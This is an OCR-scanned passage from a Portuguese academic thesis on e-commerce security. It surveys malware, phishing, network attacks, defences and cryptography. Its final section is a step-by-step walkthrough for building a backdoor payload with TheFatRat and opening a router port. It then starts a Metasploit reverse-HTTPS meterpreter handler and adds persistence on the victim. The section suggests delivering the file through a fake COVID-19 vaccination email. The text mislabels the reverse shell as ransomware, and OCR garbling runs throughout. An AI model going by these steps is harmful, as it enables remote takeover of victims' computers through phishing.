sites, como sites de software antivirus, por exemplo.

2.9.4 Trojans (Cavalo de Trdia)

Na computacdo, um Cavalo de Troia (Trojan Horse) é um software que, além
de executar funcdes para as quais foi aparentemente projetado, também executa
outras funcbes geralmente maliciosas e sem o consentimento do usuario. Como
qualquer outro software, os trojans podem realizar varias a¢cdes no computador e no
sistema operacional. Algumas das funcdes maliciosas que podem ser executadas por
um cavalo de tréia sdo 3, alteracdo ou destruicao de arquivos, furto de senhas e outras
informacdes sensiveis, como nimeros de cartdes de crédito e inclusdo de backdoors,
para permitir gue um atacante tenha total controle sobre o computador.

De acordo com o Cert.Br (2012), os trojans podem ser definidos segundo suas
acOes maliciosas que costumam executar ao infectar um dispositivo. Trojans podem
ser classificados em: Trojan Downloaders, Trojan Dropper, Trojan Backdoor, Trojan
DoS, Trojan Destrutivo, Trojan Clicker, Trojan Proxy, Trojan Spy, Trojan Banker, entre
outros.

Baseado nas informacdes financeiras das vitimas, os cibercriminosos podem
transferir dinheiro delas para a prépria conta, efetuar transacdes fraudulentas,
manipular caixas eletrénicos para liberar dinheiro, e vender para outros criminosos as

informacdes obtidas através dessa forma de infec¢éo virtual.

2.9.5 Adware

De acordo com Kaspersky (2017), Adware € o nome gque se da a programas
criados para exibir anancios no computador, redirecionar suas pesquisas para sites
de anunciantes e coletar seus dados para fins de marketing. Por exemplo, eles

rastreiam o tipo de sites que VvOcé costuma acessar para exibir anuncios
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personalizados. Além de exibir andncios e coletar dados, em geral o adware néo se
mostra presente. Normalmente, a bandeja do sistema do computador ndo apresenta
sinais do programa, e o menu de programas nao indica que arquivos foram instalados

em sua maquina.

2.9.6 Bot

O Bote é um malware desenvolvido para se auto propagar e infectar
computadores ou dispositivos com acesso a internet, permitindo controle remoto do
mesmo de forma perceptivel, ou ndo, incluindo-o em uma rede denominada botnet.
Por intermédio de uma botnet, os cibercriminosos conseguem lancar atagues remotos
sincronizados e massivos contra sites na internet, os sites de e-commerce séo vitimas
frequentes deste tipo de ataque, utilizando dispositivos de terceiros, sem que sejam
percebidos pelos usuarios desses dispositivos.

Além de poder se auto proliferar, de acordo com Prado e Souza (2014), os bots
podem incluir a intencdo de registrar as teclas digitadas pelo usuario, obter senhas,
capturar e analisar a comunicacdo de rede, recolher informacdes financeiras,
proporcionar ataques de negacao de servico em sites, enviar spams e produzir cliques

falsos para gerar receita para o anunciante sem gerar cliques verdadeiros.

2.9.7 Ransomware

Conforme Novaes(2014c), ransomware € um malware que “sequestra”
arquivos ou todo o bando de dados do dispositivo da vitima por meio de técnicas de
criptografia. Para poder acessar o dispositivo, os dados ou 0s arquivos, € necessario
pagar uma certa taxa de “resgate”, através do fornecimento de senhas ou de dinheiro
para o cibercriminoso.

O ransomware, segundo Gusmao (2014), invade os dispositivos das vitimas de
modo parecido com malwares falados anteriormente, através de phishing* ou
acoplado a um software legitimo. Apdés a instalacao do malware, ele criptografa alguns
arquivos usando uma chave publica, e emite um alerta ao usuario. E é a partir desse
alerta que o usuario descobre que, caso um resgate de determinado valor nao for
pago até uma data limite, a combinacao que liberaria os documentos seria apagada e

0s itens, por consequéncia, seriam perdidos permanentemente. O pagamento exigido
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pelos cibercriminosos € normalmente em bitcoins ou por algum outro método que
impeca ou dificulte seu rastreamento.

“O Brasil foi o sexto pais que mais sofreu ataques de ransomware no primeiro
semestre, ficando atrds apenas dos EUA, Reino Unido, Malasia, Canada e Paises
Baixos (veja grafico abaixo). Entre janeiro e junho, o pais foi alvo de 1.190.000 ataques
de ransomware. Como a LGPD (Lei Geral de Protecédo de Dados) ainda ndo esta em
vigor, as empresas nao sao obrigadas a reportar quando sofrem ataques digitais.”
(CISO ADVISOR, 2020).

A Figura 7 mostra os 10 paises que mais sofrem com invasfes de
Ransomwares no mundo:

Figura 7: Os 10 paises com mais invasfes de ransomwares no mundo.

2020 Ransomware Volume | Top 10 Countries

United Kingdom .4.295.721
Malaysia l2.535.693
Canada lz.aam??

Netherlands l 1,840,836

Country

Brazil I!ASO.D@.’!
ltaly IEH.E&Z
France |551‘694
Belgium |567.503

Switzerland | 545,136

10M 20M 30M 40M 50M 60M 70M 80OM 90M
Volume

Fonte: Ciso Advisor 2020.
Segundo Ferreira (2016), existem casos em que, para a liberacdo do

dispositivo, os cibercriminosos fazem outras solicitacbes, como preenchimento de
formularios ou insercdo de dados pessoais. O problema disso tudo € que nédo é
possivel ter certeza que as senhas serdo devolvidas, e mesmo quando sao, ainda nao
se pode saber se poderdo novamente ser usadas, ou que seus dados nado foram

copiados, o que pode tornar o problema ainda maior.

2.9.8 Phishing
O Phishing € uma técnica que utiliza mensagens de e-mail, que parecem ser

de um site de e-commerce validos, para obter informacdes sigilosas, como niumeros
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de contas de cartdo de crédito, RG e CPF. Estes e-mails contém anexos maliciosos,
links para péaginas falsas ou para outros arquivos também maliciosos.

O objetivo é convencer o usuario final de que a pagina em questdo € um
ambiente convincente e confiavel, e com isso fazer com que as vitimas fornecam
dados sensiveis, como senhas do cartdo de crédito ou credenciais de acesso, 0 que
caracteriza o ataque como phishing. A ideia de tornar a pagina falsa mais confiavel
aumenta a medida que se assemelha com a genuina, ou seja, a fidedignidade sugere
que o ataque ird investir em detalhes visuais, como dominio registrado e cadeado
HTTPS, visando ganhar a confianca de suas vitimas.

Caso o usuario clique em algum link de e-mail malicioso, o download de um
malware € iniciado e, se executar 0 arquivo baixado, outros arquivos também podem
ser baixados no computador ou no dispositivo do usuario; esses arquivos e malwares
podem roubar informac@es bancarias, dados de acesso a sites de e-commerce etc.

Além disso, segundo Marques T. (2014), ap6s a realizacdo do download de
todos os arquivos, o malware pode solicitar ainda acesso de administrador na
maquina, para que seja possivel realizar todas as a¢fes desejadas no computador ou

no dispositivo da vitima.

2.9.9 Man-in-the-middle(Homem-no-meio)

O Man-in-the-middle € um tipo de ataque que consiste em interceptar os dados
nao assinados e/ou criptografados durante o trafego entre o usuario e o servidor.
Segundo Malenkovich (2013), em uma das formas mais comuns de realizar o ataque
man-in-the-middle, o cracker usa um roteador Wi-fi como mecanismo para captar as
mensagens de suas vitimas, o que pode se dar tanto através de um roteador

corrompido quanto através de falhas na instalacao do proprio equipamento.

2.9.10 Man-in-the-browser (Homem-no-navegador)

Esse tipo de ataque € uma variacdo do ataque man-in-the-middle, nele, o
cracker insere um cédigo malicioso no navegador do dispositivo do usuério capaz de
alterar as transacdes online conforme elas ocorrem, possibilitando também a insergéo

de operacdes adicionais a sites que lidam com informacdes confidenciais.
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Na condicdo do e-commerce, 0 ataque man-in-the-browser é utilizado pelos
cibercriminosos para aplicar o golpe do boleto, atacando as operacfes online
baseadas em modificacbes da parte do cliente. Neste tipo de golpe, um malware de
nome Bolware infecta o dispositivo do usuario e realiza a falsificacdo de dados dos
boletos bancarios, criando problemas para o usuario que, sem saber, perde o valor do
pagamento realizado, assim como também para as empresas que iriam receber o

pagamento.

2.9.11 DNS Spoofing e ARP cache poisoning

Entre essas duas ameacas, que séo derivadas do ataque man-in-the-middle, o
ataque de DNS Spoofing é usado para fornecer informacdes falsas de DNS para um
host de uma rede local. Sendo o DNS responsavel por encontrar e traduzir para
nameros IP os enderecos dos sites que sdo passados pelos navegadores, essa
técnica equivale em capturar o trafego da rede para interceptar uma consulta DNS e
altera-la, fazendo com que a vitima seja redirecionada para um site malicioso.

Assim, quando a vitima realiza uma consulta de DNS de um determinado site,
ao contrario da consulta que é feita para o servidor de DNS, ela é redirecionada para
o cracker, que, em posse dessa informacéo, pode direcionar a vitima para um site
falso. Caso a vitima acesse esse site falso, o ataque ja foi realizado e a partir dai a
vitima acha que esta em um site seguro e insere suas informac¢des como e-mail,
senhas, dados confidenciais etc. De posse dessas informacdes da vitima, o cracker
pode uséa-las para fins maliciosos.

Esse tipo de ataque € mais antigo, mas eficiente para redes locais, permite que
o invasor conectado na mesma rede possa espionar todo o seu trafego da rede, ou
de dois hosts distintos. O foco desse tipo de ataque é o envenenamento do cache
ARP. Esse protocolo foi desenvolvido para a resolugcéo de enderecgos IP em MAC. O
ARP permite que um host encontre o enderecgo fisico de um host destino, tendo
apenas o seu endereco IP. Para que haja comunicacao entre dois hosts, um dos hosts
envia um pacote de rede para descobrir quem possui um endereco IP especifico, essa
€ uma requisicdo ARP, o host que possuir o endereco IP solicitado, vai enviar uma
resposta ARP com o seu endereco fisico.

O envenenamento do Cache ARP explora uma falha de seguranca no protocolo

ARP, que permite que ele aceite atualizagbes de qualquer dispositivo a qualquer
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momento, através disso um host pode enviar uma resposta ARP para outro host e
forca-lo a atualizar seu cache ARP com o novo valor passado. Assim, o cracker
consegue alterar o IP e endereco fisico de destino, se colocando no meio da
comunicacdo, sem que a vitima perceba. Apos a alteracdo do cache ARP, todas as
informacBes passam pelo cracker sem que a vitima se dé conta do que esta

acontecendo (BOTTI, Caio Fernandes).

2.10 Principais ameacas de seguranca para plataformas de e-commerce

Ainda que seja grande o investimento em segurancga realizado pelos sites e e-
commerce, eles podem conter vulnerabilidades que diminuem riscos de acesso
indevido a informacdes confidenciais das empresas e dos consumidores do setor.
Sendo assim, € necessario que os empreendedores tenham consciéncia que 0s
cibercriminosos podem usar diversos caminhos diferentes da aplicacdo de
ecommerce para causar danos ao seu empreendimento. Cada um desses caminhos
retrata um risco que pode ser grave o suficiente para causar grandes problemas de

seguranca. Podemos citar quatro das principais ameacas a seguir:

) Ataque de SQL Injection(SQLi): consiste na insercdo de cdédigo
malicioso numa requisi¢cdo de consulta (requisicéo na qual a aplicacdo web consulta
banco de dados), permitindo ao atacante, por exemplo, obter acesso ou modificar
dados para os quais ndo possui privilégios.

Segundo Carvalho e Junior (2014), caso um ataque SQL Injection seja
executado em uma loja virtual vulneravel, € possivel que um cibercriminoso consiga
visualizar informacdes de consumidores, como endereco, CPF, e até mesmo o

numero do cartdo de crédito.

) Ataques de negacédo de servico(Denial of service - DoS): € um
ataque que basicamente consiste em fazer com que uma aplicagéo pare de responder
ou mesmo responda de forma gradual. Para que o sistema deixe de responder ou
responda de forma lenta, o ataque explora problemas de implementacéo, atraves do
qual o sistema fica preso em um estado, ou ainda induz o consumo de todos os

recursos disponiveis do dispositivo.
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Esses recursos podem ser: processador (sobrecarregando 0 mesmo atraves
de inimeros processos sendo criados e executados, efetuando tratamento de erro,
etc.), memoéria, espaco em disco e o principal recurso consumido: a sua rede interna.
Geralmente, o consumo da rede é o principal alvo de um ataque de negacao de
servico, pois uma vez sobrecarregada a rede, o sistema tera um acesso muito lento
ou até mesmo perda de acesso (MICHELIN, 2015).

As aplicacbes de e-commerce frequentemente sdo vitimas deste tipo de
ataques, uma vez que ele pode funcionar como uma ferramenta eficiente de pressao
sobre a concorréncia.

° Backdoor: é um programa que permite o retorno de um invasor a um
computador comprometido, por meio da inclusdo de servigos criados ou modificados
para este fim. Pode ser incluido pela acdo de outros codigos maliciosos, que tenham
previamente infectado o computador, ou por atacantes, que exploram vulnerabilidades
existentes nos programas instalados no computador para invadi-lo.

Apbs incluido, o backdoor € usado para assegurar o acesso futuro ao
computador comprometido, permitindo que ele seja acessado remotamente, sem que
haja necessidade de recorrer novamente aos métodos utilizados na realizacdo da
invasédo ou infeccdo e, na maioria dos casos, sem que seja notado. A forma usual de
inclusdo de um backdoor consiste na disponibilizacdo de um novo servico ou ha
substituicdo de um determinado servico por uma versdo alterada, normalmente

possuindo recursos que permitem o acesso remoto.

° Forca Bruta (Brute Force) consiste em adivinhar, por tentativa e erro,
um nome de usudrio e senha e, assim, executar processos e acessar sites,
computadores e sistema de nome de dominio, conhecido como DNS, e com o0s
mesmos privilégios deste usuario. Segundo Oliveira (2012), existem diversas
maneiras para realizar o ataque usando forca bruta, tais como: ataques de dicionario,
ataque de busca e ataque de busca baseado em regras. Os ataques de dicionarios
sao realizados através de ferramentas que utilizam dicionarios com palavras que
possivelmente sdo usadas pelo usuério da conta. Ja o ataque de busca tenta descobrir
todas as possibilidades existentes com base em conjunto de caracteres e tamanho de
senha. Caso se utilizem regras para gerar os candidatos do ataque de busca, tem-se

0 ataque de busca baseado em regras.
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Um ataque de forca bruta, dependendo de como é realizado, pode resultar em
um atague de negacdo de servico, devido a sobrecarga produzida pela grande

quantidade de tentativas realizadas em um pequeno periodo de tempo.

3 Politicas de seguranca, boas préticas

Segundo Cert.br (2016), algumas medidas possiveis contra os malwares e
outras ameacas sao:

Mitigar vulnerabilidades;

) Manter seus dispositivos atualizados: use apenas softwares originais,
tendo sempre as versdes mais recentes instaladas; instale todas as atualizacoes,
principalmente as de seguranca; crie um disco de recuperacdo para uso em caso de
necessidade.

) Instalar um antivirus (antimalware): mantenha o antivirus atualizado
diariamente, incluindo o arquivo de assinaturas; padronizar os antivirus para verificar
automaticamente, antes de abrir ou executar, toda e qualquer extensdo de arquivo
recebido, arquivos anexados aos emails, obtidos pela Internet e os discos rigidos e as
unidades removiveis; ndo utilizar simultaneamente diferentes antivirus, pois eles
podem entrar em conflito, afetar o desempenho do equipamento e interferir na
capacidade de deteccdo um do outro; crie um disco de emergéncia de seu antivirus e
use-o se desconfiar que o antivirus instalado esteja com funcionamento incorreto.

° Usar um firewall pessoal: firewall € um termo utilizado para identificar um
conjunto de sistemas e equipamentos que implementam mecanismos de protecéo de
perimetro entre redes.” (BARBOSA, 2006). Sabendo disso, assegure-se de ter um
firewall pessoal instalado e ativo e procure analisar periodicamente os logs do mesmo
a procura de acessos maliciosos.

° Ter uma politica de registro de eventos (logs): Sendo atil no
monitoramento, detec¢do e resolucdo de problemas dos usuarios, o log é um arquivo
onde sao registrados e armazenados 0S eventos que ocorrem em um sistema ou rede.
Cada entrada de registro contém informacdes relacionadas a um evento especifico
que tenha ocorrido neste sistema ou rede. Conforme o Nucleo de Informacéo e
Coordenacéo do Ponto BR,

Logs sdo muito importantes para a administracdo segura
de sistemas, pois registram informagdes sobre o seu
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funcionamento e sobre eventos por eles detectados. Muitas
vezes, 0s logs sdo o unico recurso que um administrador
possui para descobrir as causas de um problema ou
comportamento anémalo. (NIC.BR, 2003).

° O SSL (ou Secure Sockets Layer) é uma tecnologia que criptografa as
informagdes trocadas entre o seu computador e o site, mantendo a privacidade dos
seus dados. Para o e-commerce, este certificado € fundamental para impedir que
criminosos interceptem informacdes pessoais dos usuarios, como dados bancarios,
durante a compra. Para saber se um site esta assegurado contra este tipo de ataque,
basta verificar se ha um cadeado verde ao lado da url e se a URL contém “https://” na
barra de navegacéao.

Desse modo,

“‘Os programas de seguranga continuam a desenvolver
novas defesas a medida que os profissionais de
ciberseguranca identificam novas ameacas e novas formas
de combaté-las. Para aproveitar ao maximo o software de
seguranca do usuario final, os funcionarios precisam ser
instruidos sobre como uséa-lo. E fundamental manté-lo em
funcionamento e atualiza-lo com frequéncia para que ele
possa proteger 0S usuarios contra as ameacas virtuais
mais recentes”. (KASPERSKY ANTIVIRUS, 2021).

Mitigar danos causados por potenciais atagques;

° Estabelecer uma boa politica com senhas (senhas fortes e exigéncia de
mudanca periédica): utilizar a conta de administrador apenas quando necessario;
cuidado com extensdes ocultas, pois alguns sistemas possuem como configuragéo
padrdo, ocultar a extensdo de tipos de arquivos conhecidos; desabilite a auto
execucdo de midias removiveis e de arquivos anexados; no caso de empresas e
organizacdes, eduque seus funcionarios de acordo com uma politica de seguranca,
abordando sempre o tema com eles, evitando, assim, ataques de engenharia social.

° Ser cuidadoso ao clicar em links: ndo considere que mensagens de
remetentes conhecidos sdo sempre confiaveis, pois 0 campo remetente do e-mail

pode ter sido falsificado, ou elas podem ter sido enviadas de contas falsas ou
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invadidas. Antes de acessar um link curto, procure usar recursos que permitam
visualizar o real link de destino.

) Ao fazer instalagdo de aplicativos: usar somente os de fontes confiaveis,
que sejam bem avaliados e com grande quantidade de usuarios, observando se as
permissodes de instalacdo e execucao sao coerentes.

° Fazer backups: faca backups regularmente ou de acordo com a
necessidade da organizagdo, mantendo-os fisicamente em locais seguros. Nunca
recupere um backup se desconfiar que ele possui dados ndo confiaveis e mantenha
0s mesmos desconectados do sistema, evitando assim acessos indevidos.

° Ferramentas de descriptografia de ransomware: para
descriptografar os arquivos atingidos por malwere, como por exemplo, Kasperky,
Mcafee, Alcatraz Locker, BadBlock, Crypt888, Crysis, podendo reverter a
criptografia causada pelo ransomware. Quem fornece esse tipo de ferramenta sao
os softwares de seguranca de Internet e geralmente sdo cobradas taxas por este
servico (KASPERSKY (2020)).

3.2 Criptografia

Para Mitshashi (2011), a criptografia representa a codificagdo de uma
mensagem da qual apenas o remetente e o destinatario conhecem a forma de traduzi-
la. Basicamente, é fundamental utilizar uma chave, a qual contém os parametros de
conversédo de valores de um texto para um modo criptografado e, em compensacao,
existe uma chave que corresponde e contém os parametros para decifrar essa
mensagem, podendo ela ser a mesma do remetente ou até mesmo uma verséo
inversa.

De acordo com Coutinho (2009), o ato de criptografar algo vem seguido de duas
receitas: uma para codificar e outra para decodificar. Codificar € o ato de disfarcar
uma mensagem de modo que somente o destinatario legitimo possa Ié-la. Decodificar
€ 0 que o destinatario faz quando recebe determinada mensagem e deseja acessar
seu conteudo. Nesse contexto, podemos utilizar outro termo: decifrar, que consiste

em ter conhecimento das informacgfes sem ser o destinatario legitimo.



40

Tabela 3: Frequéncia das letras do alfabeto portugués (lingua portuguesa brasileira).

A E € D E F G H 1 J K L M M O F
146 10 38 49 125 10 1, 12 61 04 002 27 47 50 107 25
. R 3 T u ¥V oW X Y Z
1.2 &5 78 43 4% 1%& 001 02 001 04

L]

Fonte: Coutinho (2015, p. 3)

Usando a frequéncia das letras em portugués, podemos decifrar a mensagem:
B gbmbxsb dsjquphsbgjb bjoeb fxpdb jnbhfot ef bhfou tfdsfupt! Para tanto, precisamos

verificar a frequéncia de cada letra (vide tabela 4, a seguir).

Tabela 4: Frequéncia das letras da mensagem para codificacdo.
4 B C DE F G HI ] K L MN O P
0 11 0 3 2 7 1 3 0 4 0 0 1 1 3 3
Qg R 5 T U ¥ W X ¥ ¥
2 0 443 00 20 0

Fonte: Construcdo prépria

Sao basicamente duas principais técnicas de criptografia: a criptografia com
uso de chave simétrica ou privada, e a criptografia com uso de chave assimétrica ou

publica.

. Criptografia com uso de chave simétrica ou privada: Segundo
Semola (2014), nessa técnica de criptografia é utilizada uma Unica chave para cifrar
informacdes na origem e decifra-las no destino. Considerando como um exemplo um
caso onde o usuario A quer enviar uma mensagem criptografada para o usuario B, ou
vice versa, faz-se necessario, primeiramente, criar uma chave simétrica e enviar uma
copia da mesma ao destinatario para que ele possa descriptografar a mensagem apés
recebé-la. O perigo ocorre justamente nesse momento do envio da copia da chave
ao destinatario por nao ter sido adotado nenhum processo de protecdo. Se,
exatamente nesse instante, apesar da pequena janela de tempo da operacéo, a
confidencialidade da chave for quebrada, todo o processo de criptografia ficara
comprometido, afinal, qualquer um que conheca a chave simétrica podera
descriptografar a mensagem interceptada.

. Criptografiacom uso de chave assimétrica ou publica: Essa técnica,
ainda de acordo com Semola (2014), utiliza uma chave privada e outra publica para o

remetente e o destinatario. Desse modo, os interlocutores ndo precisam mais
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compartilhar uma chave Unica e secreta. Embasado no conceito em que para decifrar
a criptografia € necessario possuir as duas chaves matematicamente relacionadas,
publica e privada, o remetente s6 necessita da chave publica do destinatério para
assegurar a confidencialidade da mensagem e permitir que o destinatario consiga
decifrar a mensagem. Como o proprio nome indica, a chave privada pertence
exclusivamente ao seu proprietario e deve ser mantida em segredo. Ja a chave
publica, pode e deve ser compartilhada e estar disponivel a qualquer interessado em
enviar uma mensagem de forma criptografada. Apesar de todos os seus beneficios,
essa técnica possui baixa performance, chegando a consumir centenas ou milhares

de vezes mais tempo para ser processada se comparada com a técnica simétrica.

3.3 Tipos de Teste de Invasdo, Ransomware

Silva (2013) apresenta em seu trabalho uma abordagem com a definicdo de
pentest (teste de intrusdo), exemplificando como sdo os processos de um ataque
virtual, quais os tipos de exploracéo de vulnerabilidades. A metodologia utilizada foi a
de investigacdes cientificas em revistas, artigos, bibliotecas digitais e sites na internet.
As ferramentas utilizadas pelos crackers também sao utilizadas pelos pentesting,
sendo que os profissionais de pentest utilizam para proteger seus clientes de grandes
perdas de dados, de acordo com Silva e Pereira (2013).

De acordo com Semola (2014) e Domingues (2012), um teste de invasao possui
basicamente quatro formatos que surgem da combinacdo multipla de dois dos fatores
descritos a segquir:

. Interno: Neste tipo de teste, o ataque € realizado no ambiente interno
da organizacdo, estando dentro do perimetro de protecdo. Esse tipo de teste se
mostra eficiente devido aos casos de tentativas de ataque e invasao realizados por
funcionarios e recursos terceirizados.

. Externo: Neste tipo de teste, a simulacdo € realizada por ataques
externos do ambiente da organizacao. Esse tipo de teste tem eficiéncia comprovada
em situacfes que visam simular acessos externos a aplicacdo, como em acessos
remotos, responsaveis por uma parte consideravel dos ataques e invasoes.

. Caixa preta: Neste tipo de teste, o responsavel pelo teste ndo conhece
o0 ambiente a ser testado e avaliado, o qual tera que descobrir por conta préopria. Esse

tipo de teste ndo tem demonstrado grande eficiéncia devido aos baixos indices de
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tentativas de ataques e invasdes sem qualquer informacdo do alvo por parte dos
crackers.

. Caixa branca: Neste tipo de teste, a organizacdo testada informa ao
responsavel pelo teste todas as informagfes da infraestrutura a ser testada, como
enderecamento de IP da rede, organograma, mapa da rede, etc. Este tipo de teste
demonstra eficiéncia pela similaridade com situacdes reais de ataque.

Por fim,

“Por se tratar de uma atividade critica, pois potencializa a
exposicao da loja virtual, bem como de suas informagdes e
processos, ele deve ser executado por profissionais
qualificados e orientados por uma metodologia que garanta
o controle das a¢Bes e ndo represente mais um momento
de risco para o negocio” (SEMOLA, 2014).

3.4 Simulacao de ataque utilizado Ransomware

Para tal experiéncia faz-se necesséria a instalacdo de um ambiente virtual
(virtualBox) onde é simulado o uso do sistema operacional Kali-linux-e17-2017-W22-
amd64, que é o sistema operacional especializado em pentests, ou testes de intrusao.
Para a instalacdo do Kali Linux no Virtual Box, 0s requisitos basicos sdo: Minimo de
8GB de espaco em disco, minimo de 512 MB RAM e uma Imagem iso Kali Linux. Uma
vez instalada a maquina virtual, é preciso criar um servidor DNS, que dara suporte
para conectar em qualquer dispositivo conectado a internet. Para isso, foi criada uma
conta no site no-ip, no qual é gerado um nome de host ao criar a conta vinculada ao
seu DNS. Apéds o cadastramento, € feito o download do servidor no-ip para sua
maquina. Esse processo € feito para se obter um servidor que dara suporte para
conectar-se a um dispositivo, usando um IP.

Na sequéncia, é criado um Pay Load, que é a parte do codigo que permite o
acesso nao autorizado a um sistema de computador com a ajuda de um exploit. Este
contém a fonte e o destino dos dados, criado pelo programa The Fat Rat, que se refere
a carga de transmissao de dados, que traz a identificacéo da fonte, conforme mostrado

na Figura 8.
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Backdoor Creater for Remote Acces
Created by:

ros Linmux

SELECT AN OPTION TO BEGIN:

[81] Create Backdoor with msfvenom

[B82] Create Fud 100% Backdoor [Slow but Powerfull]
GER Create Fud Backdoor with Avoid wvl.2

[B4] Create Fud Backdoor with backdoor-factory [embed]
[85] Backdooring Original apk [Instagram, Line,etc]
[86] Create Fud Backdoor 1880% with PwnWinds [Excelent]
[87] Create Backdoor For Office with Microspleit

[B8] Create auto listeners

[89] Jump to msfconsole

[18] Searchsploit

[11] File Pumper [Increase Your Files S5ize]

[12] Configure Default Lhost & Lport

[13] Cleanup

[14] Help

[15] Credits

[16] Exit

[ 1—[~1-[menu] ;
'y '

Figura 8: Fonte GitHub

Para fazer o download do arquivo, € preciso acessar 0 site:
https://github.com/Screetsec/ theFatRat, copiar a URL, no terminal do kali linux digita-
se: “git clone https://github.com/Screetsec/TheFatRat”. Os arquivos baixados,
inicialmente, ficam na pasta pessoal, que é o diretdrio do sistema operacional. Na
pasta pessoal estara o arquivo baixado chamado “the Fat Rat,”. Dentro da pasta terao
varios arquivos; ao abrir a pasta setup sera encontrado um arquivo chamado
“setup.sh”. Em seguida, é preciso clicar, com o botdo direito do mouse, no espaco em
branco e selecionar a opgao “abrir terminal”. Com o terminal aberto, entra-se em modo
root e digita-se o comando: bash ./setup.shP.

Em seguida, é preciso entrar na pasta “the Fat Rat” e clicar, com o bot&o direito

do mouse, na area vazia da pasta e, apés, clicar na opgao “abrir terminal”, em modo
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root. Ao digitar o comando: “bash /fatrat” sera aberta a ferramenta “The Fat Rat”, que
possui treze opcdes, entdo devera ser selecionada a opcao 6. Assim, aparecerao seis
opcoes. A primeira delas é escolhida e entdo digita-se o numero referente a opcao
escolhida. No caso, neste exemplo € o numero 1. Em seguida, aparecera a opgéo “set
L-host”, e entdo se usa o host criado pelo site No-Ip. Sera mostrada a opgao “set L-

port”, conforme figura 9 abaixo.

(e
) \@8081{ }<

(@

pPowershell Injection attack

] Create a bat filetPowershell (FUD 100%)

] Create exe file with C# + Powershell (FUD 100%)
Create exe file with apache + Powershall (FUD 100%)

] Create exe file with C + Powershell (FUD 98 %)

5/ Create Backdoor with C + Powershell + Embed Pdf (FUD 80%)
Back to Menu

PunWinds$fatrat:>>

Figura 9: (Fonte, GitHub)
Nesta etapa do processo, é criada uma porta especial no modem. Durante uma

conexdo, o computador utiliza programas que usam determinadas portas para se
comunicar durante o trafego de dados. A criacdo da porta no modem é feita no
roteador e identifica-se de onde sai a informacao e para onde ela esta indo. Isso é
feito da seguinte forma: conecta-se ao modem, via cabo de rede ou WIFI e, no
navegador de internet, digita-se o Gateway padréo: 192.168.1.1.

Na sequéncia, sera solicitada uma senha de acesso, a qual muda dependendo
do fabricante do modem ou da operadora de internet. Com isso, abre-se uma pagina
de configuracdo do modem, depois clica-se em “configuracées avangadas” e, em
seguida, em NAT. Clica-se adicionar “usar interface” e deixa a configuragcdo como

esta. Seleciona-se um servico - para um servi¢o personalizado digita-se um nome de
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sua preferéncia, por exemplo, “porta”, em endereco de IP do servidor deve ser
colocado o numero de IP da maquina de quem esta atacando.

Para saber o IP da maquina, é preciso abrir o terminal e digitar “ifconfig”. Ao ser
digitado, mostra-se o endereco IPv4, com o nimero de IP da maquina atacante. Esse
namero devera ser digitado nas configuragdes do modem, na porta “externa”. Na
proxima etapa, em protocolo TCP/UDP, aplicar/salvar e pronto. Criada a porta do
modem, vai-se para a ferramenta “The Fat Rat” e digita-se o host e a porta criada.

Apés toda configuracao realizada, sera perguntado o nome do arquivo ao qual
esta criando o “Pay Load”, e pode ser dado o nome desejado. No caso deste exemplo,
o nome utilizado foi “exploit”. Dai é perguntado se deseja utilizar mais alguma opc¢ao.
Neste caso, tem-se que digitar “no”. Assim, esta finalizada a simulacéao da criacéo do
ransomware. Ao fim desse processo, serd gerado um .bat do arquivo criado, que sera
executado na maquina alvo.

Para executar o ataque, abre-se o terminal em modo root e digita-se: “service
postgresql start”. Sera iniciado o servigo do metersplod, que introduz o ataque. Em
seguida, digita-se no terminal: “msfconsole”. Sera aberto o metasploit. Com ele aberto,
digita-se: “use multilhandle”. Em seguida, digita-se: “set PAYLOAD windows/

meterpreter/reverse_https. Assim, vai aparecer o contetdo da Figura 10.

Figura 10: Simulacdo de ataque a uma maquina alvo

ayload caught by AV? Fly under the radar with Dynamic Payloads in
letasploit Pro learn more on http://rapid7.com/metasploit

| ]
--=[ 1595 exploits - 9089 auxiliary - 274 post ]
.- 458 payloads - 39 encoders - 8 nops ]
= Free Metasploit Pro trial: http://r-7.co/trymsp ]

s$f > use multi/handler
sf exploit( ) > set PAYLOAD windows/meterpreter/reverse https
AYLOAD => windows/meterpreter/reverse htips

1sf exploit| ) > set LHOST 192.168.06.107
HOST => 192.168.60.107
sf exploit( ) > set LPORT 4444
PORT => 4444
sf exploit( > set ExitOnSession false
ExitOnSession =>
1sf exploit{ > exploit -} -2

Exploit running as background job

Started HTTPS reverse handler onyhttps://192.168.0,.107:4444
sf exploit( ) > [*] Starting The payload handler

Figura 10: (Fonte, MORAIS, 2021).

Continuando o ataque, digita-se “Set LHOST (ip da maquina atacante)”. Digita-
se: “set LPORT (porta criada do modem)”. Em seguida, digita-se: (nome criado pelo
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atacante do payload) -j -z. Com esse comando, inicia a conexao com a maquina alvo.
Executando o payload na maquina alvo, para liberar conexdo com a maquina
atacante: na maquina do atacante ira aparecer a seguinte mensagem: “Meterpreter
session 1 opened”. Essa mensagem ira aparecer depois de executar o payload na
maquina alvo, juntamente com o numero do IP da maquina atacante e o nimero da
porta do modem liberada (MORAIS, C. H. J. P. D.)

Segundo MORAIS, 2021, para iniciar a conexao com a maquina invadida, o
atacante digita-se o comando: “sess 1”, pois esse comando permite conectar com a
maquina alvo. Depois, o atacante digita: “run persistence -U i 5 -p (porta criada) -r (ip
da maquina atacante)”; isso permite que o computador alvo figue sempre conectado
ao atacante.

Assim, este capitulo, mostrou 0 passo a passo para criar um ransomware.
Seguindo todos estes passos e 0s comandos, foi mostrado como atacar um
computador alvo, utilizando a ferramenta The Fat Rat, do sistema operacional Kali
Linux. O objetivo do teste foi 0 de persuadir o usuario da maquina alvo a abrir um link
ou anexo infectado. Depois de criado esse tipo de arquivo malicioso, pode-se enviar
0 mesmo anexado num simples e-mail, usando a campanha de vacinagéo contra a

COVID-19, como o da figura abaixo.

Figura 11: Exemplo de e-mail malicioso
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FW: 7 FW: Campanha de vacinacao contra a Covid-19 - Protocolo: OX601PNYR7

@ You forwarded this message on 5/4/2021 6:14 PM.

From: Covid-19 <contato068254@& advocacia 3ssociados.com.br>
Sent: Thursday, April 1, 2021 8:29 AM

Subject: FW: Campanha de vacinacao contra a Covid-19 - Protccolo: OX601PNYR7

EXTERNAL
Formulario
Vacinacéo contra COVID-19
Agendamento de Salde, Segue a ficha para cadastro e controle de vacinacéo contra o COVID-19 ,

lembrando que apo6s o prenchimento do formulario e enviado um sms confirmando a data horario.

Visualizar Ficha cadastral

Ministério da Saude B B
PLANO NACIONAL DE OPERACIONALIZACAO DA VACINACAO CONTRA A COVID-19

Figura 11: WELIVESECURITY, 2021.

O mesmo método descrito acima poderia facilmente ser usado para atacar a
